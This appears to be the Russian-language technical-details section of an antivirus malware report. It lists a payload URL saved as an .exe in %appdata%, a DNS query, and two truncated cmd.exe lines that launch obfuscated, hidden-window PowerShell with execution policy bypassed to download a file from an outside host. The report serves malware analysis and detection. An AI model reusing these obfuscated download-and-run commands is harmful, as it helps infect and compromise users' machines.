Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PO^wErSH^ELl.EX^e^ -exECU^TIOnP^oliC^Y bY^PA^sS -NOP^rof^Ile ^-WIndO^Wsty^lE H^iDdeN (^neW-OBj^ECT sY^st^E^m^.nET.w^EBCl^iE^NT)^.d^OW^NLOaD^fIl^e^('http://www.zoerpoled.top/read...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "PO^wErSH^ELl.EX^e^ -exECU^TIOnP^oliC^Y bY^PA^sS -NOP^rof^Ile ^-WIndO^Wsty^lE H^iDdeN (^neW-OBj^ECT sY^st^E^m^.nET.w^EBCl^iE^NT)^.d^OW^NLOaD^fIl^e^('http://www.zoerpoled.top/read...' (со скрытым окном)